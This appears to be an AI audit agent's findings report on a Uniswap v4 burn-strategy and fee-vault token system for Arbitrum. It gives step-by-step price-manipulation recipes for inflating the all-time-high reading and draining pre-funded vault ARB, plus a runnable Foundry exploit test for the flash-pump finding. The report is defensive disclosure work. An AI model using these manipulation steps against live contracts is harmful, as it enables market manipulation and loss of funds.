Deploy DrawdownBurnStrategy with ath=type(uint128).max (tier 100%).

Before vault.setStrategy, a trader sells 1e24 tokens: 32.644 ARB of fee is banked in the vault (vault balance B = 32.644e18, strategy not yet set).

Then setStrategy + transferOwnership.

Next block, anyone calls strategy.buyback().

Expected: vault ARB balance stays >= B.

Actual: pot becomes 32.644 ARB, buyback spends all of it, vault balance 0, totalSpent 32.644e18.

Run: forge test --match-path test/scratch/PreInstallProof.t.sol
lowThe hourly-close ATH can be lifted by a held pump for ~6.5% of the pump capital and can never be lowered, moving the wall permanently highersrc/DrawdownBurnStrategy.sol:382
athMcap only rises, and no owner function resets it. An attacker who buys, holds while calling the permissionless FeeVault.onFeeReceived once per block so the anchor steps 200 ticks toward the pumped price, and keeps the position across one clock-hour boundary gets the pumped market cap recorded as the ATH; the only cost is the round-trip fee (3.3% hook each way plus lpFee).

The README acknowledges a pump can lift the ATH; what it does not state is that the effect is irreversible: every later wall is laid at 40% of the inflated ATH (in the measurement below 43% higher than before), tiers read deeper drawdowns forever, and if the inflation exceeds 2.5x the wall top sits above the price so pendingWall can never be laid again. Owner recourse is limited to withdrawWall/moveWall/withdrawFromVault; none restores the ATH.

Suggested: an owner-only setAth() bounded (e.g. only downward, or to the current hourly close) documented as a trust assumption, or weight the close by time-in-hour so a single 12-block hold cannot set it.
Local pool as above, strategy installed with ath = current market cap (1.0021e24 ARB), tick -69060, wall target upper -78240.

Attacker buys with 2e22 ARB (20% of the pool's ARB side): tick -65425.

Attacker calls vault.onFeeReceived(ARB) in each of the next 12 blocks (12 s apart): anchor reaches -65425.

Warp past the hour boundary, one more call: athMcap = 1.4406e24 (+43.7%).

Attacker sells everything back: tick -68941, attacker's net ARB cost 1298.67 ARB (6.5% of 20000). wallTarget upper is now -74640 (3600 ticks higher); buildWall lays 638 ARB of pendingWall at that higher level.

No function lowers athMcap afterwards.

Harness: test/scratch/Harness.t.sol AthTest.test_athLiftThenWallUnreachable (passes; it records the numbers).
infoOn Arbitrum block.number is the L1 block number, so 'once per block' means once per ~12 seconds for anchor, tier and buybacksrc/DrawdownBurnStrategy.sol:426
The contract is written for Arbitrum One (README) but every per-block rule (anchorNow's a.block == block.number early return, _due's lastBuy check, _stepped's 200-tick cap per block) uses block.number, which on Arbitrum is the L1 block number and stays constant across roughly 50 L2 blocks (~12 s, longer when the sequencer lags L1). ERC20Checkpoints.sol already notes this for its clock.

Consequences: (1) at most one buyback per ~12 s however many fee-bearing swaps land, so the pot accumulates across swaps and more often reaches the size that crosses several ticks (see the gas finding); (2) the anchor moves at most 200 ticks per ~12 s, so after a 20% move the tier read lags the price for ~10 L1 blocks (~2 min) and the ATH 'hourly close' is the anchor of the last L1 block of the hour, not the last L2 block; (3) within one L1 block the hour-change check is skipped because a.block_ == block.number, so the close is processed one L1 block late.

None of this breaks safety (the buyback limit still uses min(tick, anchor)+200), but it differs from the documented per-block semantics and widens the manipulation windows. Use ArbSys(0x64).arbBlockNumber() for L2-block granularity if that is the intent, or document the L1-block granularity.
On Arbitrum One: two sells in consecutive L2 blocks 250 ms apart (same L1 block number).

First sell: _observe anchors, splits, buyInside spends the pot and sets anchor.lastBuy = block.number.

Second sell: _observe splits its fee into the pot, _due returns 0 because anchor.lastBuy == block.number, so no buyback runs although the README states one buyback per block; the pot carries over until the L1 block number changes (~12 s).

Likewise after a 20% drop (2000 ticks) the anchor needs 10 distinct L1 block numbers (~2 min) before _tierBps reads the real drawdown.

Audit judgeAgent #1731found 1 high, 5 medium, 3 low, 2 info

The review is complete and .imd-findings.json holds 11 verified findings. The source tree is untouched; only test/scratch/ and the findings file were written.

What I verified

All four specialist proofs fail on the current code for the stated reason. Three also pass with their one-line fix. The bank-snapshot proof did not, because its own line 65 asserts the pre-fix state, so I replaced it with an equivalent test that passes once the constructor syncs the vault first. I wrote my own standalone proof for the wall-add bypass and confirmed it both ways after letting the anchor settle under the wall top, since the anchor-gate fix alone does not close the first few blocks after a drop.

Findings kept, by severity

Severity	Finding	Proof
high	First observation after deployment is unstepped; one flash pump sets anchor, tier and hourly close, ATH lifts next hour	yes
medium	Pre-existing vault ARB split as fees: unsynced bank and fees between deploy and setStrategy (three specialists merged)	yes
medium	Crossed-wall burn decided from spot tick; same-transaction dump removes and burns the wall	yes
medium	Wall add gated on spot tick; same-transaction pump lays pending reserve under the market	yes
medium	Anchor catch-up is free via buyback() and onFeeReceived; held pump is bought at the pumped price and lifts the ATH (three specialists merged)	harness
medium	Dust positions in the 200-tick window push the in-swap buyback past 400k, silently (three specialists merged)	harness
low	withdrawFromVault reconciles before splitting credited fees; buildWall can revert (two merged)	specialist test verified
low	1 wei donation suppresses in-swap buybacks (two merged)	harness
low	Duplicate excluded entries zero the circulating supply	harness
info	withdrawWall to the vault re-splits the ARB	code reading
info	block.number on Arbitrum is the L1 block	code reading

Corrections to specialist claims

The dust-tick attack at spacing 60 needs the pot to actually cross the seeded ticks. Four crossings cost about 150k here and take the call from 245k to 397k, buying nothing. Three crossings inside a real warm swap still fit in my harness, so I reported the measured numbers and the extrapolation against the README's 327k live base rather than the specialists' figures.
The claim that eight excluded addresses alone push an ordinary sell over the cap did not reproduce. Eight excluded cost about 43k here, 288k total, so I dropped it.
The anchor-based gate proposed for the wall-add finding leaves a residual window right after a genuine fall. The finding says so and explains why that residual is acceptable.

ran onclaude · claude-fable-5-1 · 28 turns · 10m 24s · 514 in · 45.4K out · 1.6M cached

submission353125ab341bb8a938bae5c846d711dfe96bc66a11567d63e59e1880443af132

device3c7630b22a73c1fb36d7cccb511d3c400a92c46f4065d9046a3f71b9ce3aa6be

started fromf55319f8e635922358167c3ce4c78d66e040ece9

bundlenone

highFirst observation after deployment is not step-limited: anchor.block_ starts at 0, so one flash pump sets the anchor, the tier and the hour's close, and the next hour lifts the ATH to itsrc/DrawdownBurnStrategy.sol:416

Fix: drop the block_ == 0 special case in _stepped (the constructor already seeds a.tick), or store block.number in the constructor's anchor.

Local v4 pool, token = currency0, price at tick 0, full-range liquidity 1e21, strategy deployed with athMcap_ = 0 (ATH = deploy mcap).

Next block, one transaction: swap 2000e18 ARB for token with price limit tick 20000, call strategy.buyback() (pot empty, only observes), swap token back to about tick 0.

Expected: anchor.tick <= 0 + 200 and the later ATH at most ~2% over the deploy reading.

Actual: anchor.tick == 20000 (assert fails '20000 > 200'); after vm.warp(+1 hours) and one more buyback(), athMcap is ~7.4x the deploy market cap.

Proof test fails on this code and passes when line 416 is removed (verified both ways).

proof · a Foundry test the fix has to pass

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {DrawdownBurnStrategy} from "src/DrawdownBurnStrategy.sol";
import {FeeVault} from "src/FeeVault.sol";
import {FeeHook} from "src/FeeHook.sol";
import {Token} from "src/Token.sol";

contract Reserve is ERC20 {
    constructor() ERC20("ARB", "ARB") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// The first observation after install uses the raw pool tick: `_stepped` returns `tick` while
/// `anchor.block_ == 0`. A single-transaction pump can therefore set the anchor and `lastMcap`
/// arbitrarily far from the deploy reading, and the next hour's first reading lifts the ATH to it.
contract FirstAnchorUnsteppedTest is Test {
    using StateLibrary for IPoolManager;
    using PoolIdLibrary for PoolKey;

    PoolManager pm;
    Token token;
    Reserve arb;
    FeeVault vault;
    FeeHook hook;
    DrawdownBurnStrategy strat;
    PoolSwapTest swapRouter;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    uint256 constant SUPPLY = 1_000_000e18;

    function setUp() public {
        vm.warp(1_700_000_000);
        vm.roll(100);
        pm = new PoolManager(address(this));
        arb = new Reserve();
        // The token must be currency0: put it at a low address.
        address tokenAddr = address(0x1000);
        deployCodeTo("Token.sol:Token", abi.encode("TKN", "TKN", SUPPLY, address(this)), tokenAddr);
        token = Token(tokenAddr);
        vault = new FeeVault(address(this));
        address hookAddr = address(uint160(uint256(0xABCD) << 32) | uint160(0x44)); // afterSwap + afterSwapReturnDelta
        deployCodeTo("FeeHook.sol:FeeHook", abi.encode(pm, address(vault), address(arb), 330, address(this)), hookAddr);
        hook = FeeHook(hookAddr);

        key = PoolKey({
            currency0: Currency.wrap(tokenAddr),
            currency1: Currency.wrap(address(arb)),
            fee: 3000,
            tickSpacing: 60,
            hooks: IHooks(hookAddr)
        });
        pm.initialize(key, TickMath.getSqrtPriceAtTick(0)); // 1 token = 1 ARB

        swapRouter = new PoolSwapTest(pm);
        lpRouter = new PoolModifyLiquidityTest(pm);
        arb.mint(address(this), 1e30);
        token.approve(address(lpRouter), type(uint256).max);
        arb.approve(address(lpRouter), type(uint256).max);
        token.approve(address(swapRouter), type(uint256).max);
        arb.approve(address(swapRouter), type(uint256).max);
        // 1000 tokens / 1000 ARB of full-range liquidity.
        lpRouter.modifyLiquidity(
            key, ModifyLiquidityParams({tickLower: -887220, tickUpper: 887220, liquidityDelta: 1e21, salt: 0}), ""
        );

        address[] memory excluded = new address[](0);
        strat = new DrawdownBurnStrategy(pm, vault, key, token, address(arb), 0, excluded, 100e18, 600, address(this));
        vault.setStrategy(strat);
        vault.transferOwnership(address(strat));
    }

    function _swap(bool zeroForOne, int256 amountSpecified, int24 limitTick) internal {
        swapRouter.swap(
            key,
            SwapParams({
                zeroForOne: zeroForOne,
                amountSpecified: amountSpecified,
                sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(limitTick)
            }),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            ""
        );
    }

    function test_firstObservationIsNotStepped() public {
        (, int24 deployTick,,) = IPoolManager(address(pm)).getSlot0(key.toId());
        uint256 athBefore = strat.athMcap();

        // One transaction, next block: pump the price ~7x (20000 ticks), take the block's first
        // reading, then sell back. buyback() observes on gas alone; the pot is empty so nothing is bought.
        vm.roll(101);
        _swap(false, -int256(2000e18), 20000); // buy token with ARB up to tick 20000
        (, int24 pumped,,) = IPoolManager(address(pm)).getSlot0(key.toId());
        assertGt(pumped, deployTick + 10000, "pump reached");
        strat.buyback();
        _swap(true, -int256(SUPPLY / 2), -10); // dump back to about the deploy price

        (, int24 anchorTick,,,) = strat.anchor();
        // Expected: the anchor moved at most MAX_ANCHOR_STEP from the deploy reading.
        assertLe(anchorTick, deployTick + strat.MAX_ANCHOR_STEP(), "anchor stepped at most 200 ticks");

        // The next hour's first reading closes this hour at the pumped reading and lifts the ATH.
        vm.roll(102);
        vm.warp(block.timestamp + 1 hours);
        strat.buyback();
        // Expected: an ATH at most ~2% (200 ticks) over the deploy reading.
        assertLe(strat.athMcap(), athBefore * 103 / 100, "ATH within one anchor step of deploy");
    }
}

mediumPre-existing vault ARB is split and spent: the bank snapshot in the constructor misses ARB not yet credited by sync and fees banked between deployment and setStrategysrc/DrawdownBurnStrategy.sol:222